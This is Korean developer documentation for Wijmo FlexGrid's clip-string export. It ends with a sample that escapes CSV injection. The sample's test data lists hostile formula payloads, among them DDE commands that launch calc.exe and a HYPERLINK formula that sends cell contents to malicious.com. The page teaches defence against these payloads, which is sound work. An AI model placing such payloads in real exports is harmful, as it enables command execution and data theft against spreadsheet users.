[]
Wijmo FlexGrid 컨트롤은 클립보드로 복사하거나 CSV(Comma-Separated Values) 파일로 내보내기에 적합한 문자열 형태로 CellRange의 내용을 가져올 수 있는 기능을 제공합니다.
import { FlexGrid, CellRange } from '@mescius/wijmo.grid';
const theGrid = new FlexGrid('#theGrid', {
itemsSource: data
});
// get clip string from the specific range of grid
const clipString = theGrid.getClipString(new CellRange(0, 0, 2, 2));
console.log(clipString);
// the result of clipString will be like:
0 Japan Stereos
1 Greece Cars
2 Italy Cars이 API의 두 번째 매개변수를 구성하여 출력 형식을 제어할 수 있습니다. 자세한 사용법은 getClipString과 ClipStringOptions를 참조하시기 바랍니다.
클립 문자열을 얻는 과정은 각 셀의 값을 개별적으로 추출한 다음 이들을 이어 붙여 출력하는 방식으로 이루어집니다. 따라서 Wijmo는 각 셀의 값을 추출한 후에 해당 값을 후처리할 수 있도록 gettingCellClipString 이벤트에 구독할 수 있는 기회를 제공합니다. 이 기능은 데이터 재처리나 CSV 인젝션 방지 같은 시나리오에서 유용합니다.
import { FlexGrid } from '@mescius/wijmo.grid';
import { saveFile } from '@mescius/wijmo';
const grid = new FlexGrid('#theGrid', {
itemsSource: getData()
});
// process cell clip string
const convertMap = ['One', 'Two', 'Three'];
grid.gettingCellClipString.addHandler((grid, e) => {
const cellData = e.data;
e.data = convertMap[cellData];
});
// get clip string
const range = grid.viewRange;
const clipString = grid.getClipString(range);
console.log(clipString);
// the result of clipString will be like:
One Japan Stereos
Two Greece Cars
Three Italy Cars
다음 샘플은 gettingCellClipString을 통해 CSV 인젝션을 방지하여 내보내는 방법을 보여줍니다.
import { FlexGrid } from '@mescius/wijmo.grid';
import { saveFile } from '@mescius/wijmo';
const grid = new FlexGrid('#theGrid', {
itemsSource: getData()
});
// handle CSV injection with event
grid.gettingCellClipString.addHandler((grid, e) => {
e.data = escapeCSVInjection(e.data);
});
// export to CSV file
const clipStringOption = ClipStringOptions.CSV | ClipStringOptions.QuoteAll;
const range = grid.viewRange;
const clipString = grid.getClipString(range, clipStringOption);
saveFile(clipString, "export", 'text/csv');
// core logic for escaping CSV injection
function escapeCSVInjection(content) {
// handle the normal formula
const dangerousStarts = ["=", "+", "-", "@"];
const needEscape = dangerousStarts.some(char => content.indexOf(char) === 0);
if (needEscape) {
return `'${content}`;
}
// handle the formula with " before
const containsQuote = dangerousStarts.some(char => content.indexOf('"' + char) === 0);
if (containsQuote) {
return content.replace(/^"([=\+\-@])/, (match, $1) => '"\'' + $1);
}
// handle the split and wrap situations
const containsWrap = content.indexOf(";") > -1 || content.indexOf("%0A") > -1;
if (containsWrap) {
return content.replace(/(\;|%0A)([=\+\-@])/g, (match, $1, $2) => "'" + $2);
}
return content;
}
function getData() {
const dangerInfos = [
"=cmd|' /C calc.exe'!A0", // dynamic data exchange, it will open the external application, such as calculator, powershell (DDE)
"+cmd|' /C calc.exe'!A0", // dynamic data exchange, it will open the external application, such as calculator, powershell (DDE)
"-cmd|' /C calc.exe'!A0", // dynamic data exchange, it will open the external application, such as calculator, powershell (DDE)
"@SUM(cmd|'/c calc'!A0)", // dynamic data exchange, it will open the external application, such as calculator, powershell (DDE)
'=HYPERLINK("http://malicious.com/"&A1,"Click Me")', // malicious formula, it will open phishing website
'=../etc/passwd', // stealing information
'=IF(TRUE,IF(TRUE,IF(TRUE,...)))', // infinite loop
';+2-1', // split execution
' %0A=2-1' // execute on the next line
];
const data = [];
for (let i = 0; i < dangerInfos.length; i++) {
data.push({
id: i,
formula: dangerInfos[i]
});
}
return data;
}
이 예제에서는 위험한 수식 또는 특수 문자열로 시작하는 셀 내용을 검사하여, 필요 시 앞에 작은따옴표(')를 붙이거나 적절히 치환하는 방식으로 CSV 인젝션을 방지합니다.